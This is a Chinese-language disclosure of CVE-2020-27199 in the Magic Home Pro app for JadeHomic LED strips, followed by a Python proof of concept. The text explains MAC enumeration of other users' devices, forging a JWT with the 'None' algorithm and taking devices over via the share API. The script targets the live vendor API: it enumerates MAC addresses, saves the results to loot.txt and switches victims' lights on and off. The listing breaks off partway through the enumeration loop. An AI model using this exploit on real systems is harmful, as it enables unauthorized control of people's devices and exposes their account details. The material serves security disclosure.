
在 Magic Home Pro 移动应用中发现多个漏洞,该应用用于与 JadeHomic LED Strip RGB 套件交互。其中最严重的漏洞是认证绕过漏洞 (CVE-2020-27199),该漏洞最终允许完全接管和控制受害者的整个设备组。
magichome-forge.py - JWT 伪造器,用于自动化设备接管
magichome-sniffer.py - 本地网络嗅探器,用于搜索网络中的易受影响设备。构建一个可对其运行攻击的设备列表
magichome-switch.py - 允许点亮设备
magichome-takeover.py - 允许成功接管用户帐户的有效载荷
Suzhou SmartChip Semiconductor Co.,Ltd
该漏洞允许任何经过身份验证的用户利用其当前的授权级别,通过 API 调用 /app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address> 来查询不属于其注册产品的端点。这将返回一个 HTTP 响应,指示端点的存在,并返回关联端点的用户名、用户唯一标识符 (userUniID) 和绑定唯一 ID (bindedUniID)。
利用上述查询,攻击者随后能够使用未经授权的 POST 请求到 API /app/sendCommandBatch/ZG001,使用新枚举的 MAC 地址,通过兼容的十六进制命令 71230fa3 和 71240fa4 向远程端点发送命令,分别实现开和关。
完成初始枚举后,还可以使用 JWT 载荷数据中的 userID 和 uniID 伪造 JWT,实际上将令牌降级为在 JWT 头部部分使用 'None' 作为算法(签名绕过漏洞)。利用此漏洞,应用程序容易受到攻击者的设备接管,通过远程 API 调用 /app/shareDevice/ZG001 并使用 friendUserID JSON 参数将设备添加到攻击者的设备列表,从而让攻击者完全控制端点设备。
致谢:
OUI 描述了注册到组织的 MAC 地址的组织唯一标识符。对于 JadeHomic,其 OUI 是 C8:2E:47,其中前三个字节对应制造商,后三个字节对应制造商分配的序列号。在我们的案例中,制造商标识符注册为 Suzhou SmartChip Semiconductor Co., LTD。
允许绕过 Magic Home Pro 移动应用的认证,从而完全控制受害者用户的整个设备组。
概念验证枚举 MAC 范围内的最后几个字节并返回结果。如果你足够大胆,它允许测试 '远程执行'。``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re
'''
global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):
urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71240fa4","macAddress":target}
]
}
data = json.dumps(array)
headersOff = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def lighItUp(target, token):
outtahere = ""
q = "q"
if len(str(target)) < 12:
print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL)
elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()):
while outtahere.lower() != q.lower():
if outtahere == "0":
turnOn(target, token)
elif outtahere == "1":
turnOff(target, token)
outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL)
def Main(): urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"
data = {
"userID":"<Valid Registered Email/Username>",
"password":"<Valid Registered Password>",
"clientID":""
}
headersAuth = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
# First Stage Authenticate
os.system('clear')
print (Fore.WHITE + "[+] Authenticating ...")
response = requests.post(urlAuth, json=data, headers=headersAuth)
resJsonAuth = response.json()
token = (resJsonAuth['token'])
# Second Stage Enumerate
print (Fore.WHITE + "[+] Enumerating ...")
macbase = "C82E475DCE"
macaddress = []
a = ["%02d" % x for x in range(100)]
for num in a:
macaddress.append(macbase+num)
with open('loot.txt', 'w') as f:
for mac in macaddress:
urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001"
params = {
"macAddress":mac
}
headersEnum = {
"User-Agent": "Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Content-Type": "application/json; charset=utf-8",
"Accept": "application/json",
"token": token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}